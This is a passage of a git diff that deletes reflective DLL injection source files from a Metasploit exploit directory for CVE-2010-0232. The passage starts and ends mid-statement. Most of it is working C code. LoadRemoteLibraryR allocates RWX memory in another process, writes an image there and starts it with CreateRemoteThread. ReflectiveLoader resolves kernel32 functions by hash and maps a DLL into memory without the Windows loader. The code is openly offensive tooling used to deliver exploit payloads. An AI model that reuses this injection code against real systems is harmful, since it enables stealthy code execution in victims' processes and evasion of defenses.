|| dwLength == 0 ) - return NULL; - - __try - { - // check if the library has a ReflectiveLoader... - dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); - if( dwReflectiveLoaderOffset != 0 ) - { - pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); - - // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... - // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region - if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) - { - // call the librarys ReflectiveLoader... - pDllMain = (DLLMAIN)pReflectiveLoader(); - if( pDllMain != NULL ) - { - // call the loaded librarys DllMain to get its HMODULE - // Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only. - if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) - hResult = NULL; - } - // revert to the previous protection flags... - VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); - } - } - } - __except( EXCEPTION_EXECUTE_HANDLER ) - { - hResult = NULL; - } - - return hResult; -} -//===============================================================================================// -// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function -// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -// defined in order to use the correct RDI prototypes. -// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | -// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ -// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. -// Note: This function currently cant inject accross architectures, but only to architectures which are the -// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. -HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) -{ - LPVOID lpRemoteLibraryBuffer = NULL; - LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; - HANDLE hThread = NULL; - DWORD dwReflectiveLoaderOffset = 0; - DWORD dwThreadId = 0; - - __try - { - do - { - if( !hProcess || !lpBuffer || !dwLength ) - break; - - // check if the library has a ReflectiveLoader... - dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); - if( !dwReflectiveLoaderOffset ) - break; - - // alloc memory (RWX) in the host process for the image... - lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteLibraryBuffer ) - break; - - // write the image into the host process... - if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) - break; - - // add the offset to ReflectiveLoader() to the remote library address... - lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); - - // create a remote thread in the host process to call the ReflectiveLoader! - hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); - - } while( 0 ); - - } - __except( EXCEPTION_EXECUTE_HANDLER ) - { - hThread = NULL; - } - - return hThread; -} -//===============================================================================================// diff --git a/external/source/exploits/CVE-2010-0232/common/LoadLibraryR.h b/external/source/exploits/CVE-2010-0232/common/LoadLibraryR.h deleted file mode 100644 index ad57808084..0000000000 --- a/external/source/exploits/CVE-2010-0232/common/LoadLibraryR.h +++ /dev/null @@ -1,41 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H -#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_LOADLIBRARYR_H -//===============================================================================================// -#include "ReflectiveDLLInjection.h" - -DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); - -HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); - -HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/exploits/CVE-2010-0232/common/ReflectiveDLLInjection.h b/external/source/exploits/CVE-2010-0232/common/ReflectiveDLLInjection.h deleted file mode 100644 index 23d607ee00..0000000000 --- a/external/source/exploits/CVE-2010-0232/common/ReflectiveDLLInjection.h +++ /dev/null @@ -1,53 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -// we declare some common stuff in here... - -#define DLL_METASPLOIT_ATTACH 4 -#define DLL_METASPLOIT_DETACH 5 -#define DLL_QUERY_HMODULE 6 - -#define DEREF( name )*(UINT_PTR *)(name) -#define DEREF_64( name )*(DWORD64 *)(name) -#define DEREF_32( name )*(DWORD *)(name) -#define DEREF_16( name )*(WORD *)(name) -#define DEREF_8( name )*(BYTE *)(name) - -typedef UINT_PTR (WINAPI * REFLECTIVELOADER)( VOID ); -typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); - -#define DLLEXPORT __declspec( dllexport ) - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.c b/external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.c deleted file mode 100644 index a302e3903d..0000000000 --- a/external/source/exploits/CVE-2010-0232/common/ReflectiveLoader.c +++ /dev/null @@ -1,599 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "ReflectiveLoader.h" -//===============================================================================================// -// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value -HINSTANCE hAppInstance = NULL; -//===============================================================================================// -#pragma intrinsic( _ReturnAddress ) -// This function can not be inlined by the compiler or we will not get the address we expect. Ideally -// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of -// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics -// available (and no inline asm available under x64). -__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } -//===============================================================================================// - -#ifdef ENABLE_OUTPUTDEBUGSTRING -#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str) -#else /* ENABLE_OUTPUTDEBUGSTRING */ -#define OUTPUTDBG(str) do{}while(0) -#endif - -// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, -// otherwise the DllMain at the end of this file will be used. - -// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, -// otherwise it is assumed you are calling the ReflectiveLoader via a stub. - -// This is our position independent reflective DLL loader/injector -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) -#else -DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) -#endif -{ - // the functions we need - LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; - VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; -#ifdef ENABLE_STOPPAGING - VIRTUALLOCK pVirtualLock = NULL; -#endif -#ifdef ENABLE_OUTPUTDEBUGSTRING - OUTPUTDEBUG pOutputDebug = NULL; -#endif - - USHORT usCounter; - - // the initial location of this image in memory - ULONG_PTR uiLibraryAddress; - // the kernels base address and later this images newly loaded base address - ULONG_PTR uiBaseAddress; - - // variables for processing the kernels export table - ULONG_PTR uiAddressArray; - ULONG_PTR uiNameArray; - ULONG_PTR uiExportDir; - ULONG_PTR uiNameOrdinals; - DWORD dwHashValue; - - // variables for loading this image - ULONG_PTR uiHeaderValue; - ULONG_PTR uiValueA; - ULONG_PTR uiValueB; - ULONG_PTR uiValueC; - ULONG_PTR uiValueD; - ULONG_PTR uiValueE; - - // STEP 0: calculate our images current base address - - // we will start searching backwards from our callers return address. - uiLibraryAddress = caller(); - - // loop through memory backwards searching for our images base address - // we dont need SEH style search as we shouldnt generate any access violations with this - while( TRUE ) - { - if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) - { - uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), - // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. - if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) - { - uiHeaderValue += uiLibraryAddress; - // break if we have found a valid MZ/PE header - if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) - break; - } - } - uiLibraryAddress--; - } - - // STEP 1: process the kernels exports for the functions our loader needs... - - // get the Process Enviroment Block -#ifdef _WIN64 - uiBaseAddress = __readgsqword( 0x60 ); -#else -#ifdef WIN_ARM - uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); -#else _WIN32 - uiBaseAddress = __readfsdword( 0x30 ); -#endif -#endif - - // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx - uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; - - // get the first entry of the InMemoryOrder module list - uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; - while( uiValueA ) - { - // get pointer to current modules name (unicode string) - uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; - // set bCounter to the length for the loop - usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; - // clear uiValueC which will store the hash of the module name - uiValueC = 0; - - // compute the hash of the module name... - do - { - uiValueC = ror( (DWORD)uiValueC ); - // normalize to uppercase if the module name is in lowercase - if( *((BYTE *)uiValueB) >= 'a' ) - uiValueC += *((BYTE *)uiValueB) - 0x20; - else - uiValueC += *((BYTE *)uiValueB); - uiValueB++; - } while( --usCounter ); - - // compare the hash with that of kernel32.dll - if( (DWORD)uiValueC == KERNEL32DLL_HASH ) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 3; -#ifdef ENABLE_STOPPAGING - usCounter++; -#endif -#ifdef ENABLE_OUTPUTDEBUGSTRING - usCounter++; -#endif - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == LOADLIBRARYA_HASH - || dwHashValue == GETPROCADDRESS_HASH - || dwHashValue == VIRTUALALLOC_HASH -#ifdef ENABLE_STOPPAGING - || dwHashValue == VIRTUALLOCK_HASH -#endif -#ifdef ENABLE_OUTPUTDEBUGSTRING - || dwHashValue == OUTPUTDEBUG_HASH -#endif - ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == LOADLIBRARYA_HASH ) - pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == GETPROCADDRESS_HASH ) - pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == VIRTUALALLOC_HASH ) - pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); -#ifdef ENABLE_STOPPAGING - else if( dwHashValue == VIRTUALLOCK_HASH ) - pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) ); -#endif -#ifdef ENABLE_OUTPUTDEBUGSTRING - else if( dwHashValue == OUTPUTDEBUG_HASH ) - pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) ); -#endif - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - else if( (DWORD)uiValueC == NTDLLDLL_HASH ) - { - // get this modules base address - uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 1; - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) - pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - } - - // we stop searching when we have found everything we need. - if( pLoadLibraryA - && pGetProcAddress - && pVirtualAlloc -#ifdef ENABLE_STOPPAGING - && pVirtualLock -#endif - && pNtFlushInstructionCache -#ifdef ENABLE_OUTPUTDEBUGSTRING - && pOutputDebug -#endif - ) - break; - - // get the next entry - uiValueA = DEREF( uiValueA ); - } - - // STEP 2: load our image into a new permanent location in memory... - - // get the VA of the NT Header for the PE to be loaded - uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - -#ifdef ENABLE_STOPPAGING - // prevent our image from being swapped to the pagefile - pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage); -#endif - - // we must now copy over the headers - uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; - uiValueB = uiLibraryAddress; - uiValueC = uiBaseAddress; - - while( uiValueA-- ) - *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; - - // STEP 3: load in all of our sections... - - // uiValueA = the VA of the first section - uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); - - // itterate through all sections, loading them into memory. - uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; - while( uiValueE-- ) - { - // uiValueB is the VA for this section - uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); - - // uiValueC if the VA for this sections data - uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); - - // copy the section over - uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; - - while( uiValueD-- ) - *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; - - // get the VA of the next section - uiValueA += sizeof( IMAGE_SECTION_HEADER ); - } - - // STEP 4: process our images import table... - - // uiValueB = the address of the import directory - uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; - - // we assume there is an import table to process - // uiValueC is the first entry in the import table - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // iterate through all imports until a null RVA is found (Characteristics is mis-named) - while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ) - { - OUTPUTDBG("Loading library: "); - OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); - OUTPUTDBG("\n"); - - // use LoadLibraryA to load the imported module into memory - uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); - - if ( !uiLibraryAddress ) - { - OUTPUTDBG("Loading library FAILED\n"); - - uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); - continue; - } - - // uiValueD = VA of the OriginalFirstThunk - uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); - - // itterate through all imported functions, importing by ordinal if no name present - while( DEREF(uiValueA) ) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) - { - // get the VA of the modules NT Header - uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of addresses - uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); - - // patch in the address for this imported function - DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); - } - else - { - // get the VA of this functions import by name struct - uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); - - OUTPUTDBG("Resolving function: "); - OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); - OUTPUTDBG("\n"); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); - } - // get the next imported function - uiValueA += sizeof( ULONG_PTR ); - if( uiValueD ) - uiValueD += sizeof( ULONG_PTR ); - } - - // get the next import - uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); - } - - // STEP 5: process all of our images relocations... - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; - - // check if their are any relocations present - if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // and we itterate through all entries... - while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) - { - // uiValueA = the VA for this relocation block - uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); - - // uiValueB = number of entries in this relocation block - uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); - - // uiValueD is now the first entry in the current relocation block - uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); - - // we itterate through all the entries in the current block... - while( uiValueB-- ) - { - // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. - // we dont use a switch statement to avoid the compiler building a jump table - // which would not be very position independent! - if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) - *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) - *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; -#ifdef WIN_ARM - // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) - { - register DWORD dwInstruction; - register DWORD dwAddress; - register WORD wImm; - // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) - dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); - // flip the words to get the instruction as expected - dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); - // sanity chack we are processing a MOV instruction... - if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) - { - // pull out the encoded 16bit value (the high portion of the address-to-relocate) - wImm = (WORD)( dwInstruction & 0x000000FF); - wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); - wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); - wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); - // apply the relocation to the target address - dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; - // now create a new instruction with the same opcode and register param. - dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); - // patch in the relocated address... - dwInstruction |= (DWORD)(dwAddress & 0x00FF); - dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; - dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; - dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; - // now flip the instructions words and patch back into the code... - *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); - } - } -#endif - else if( 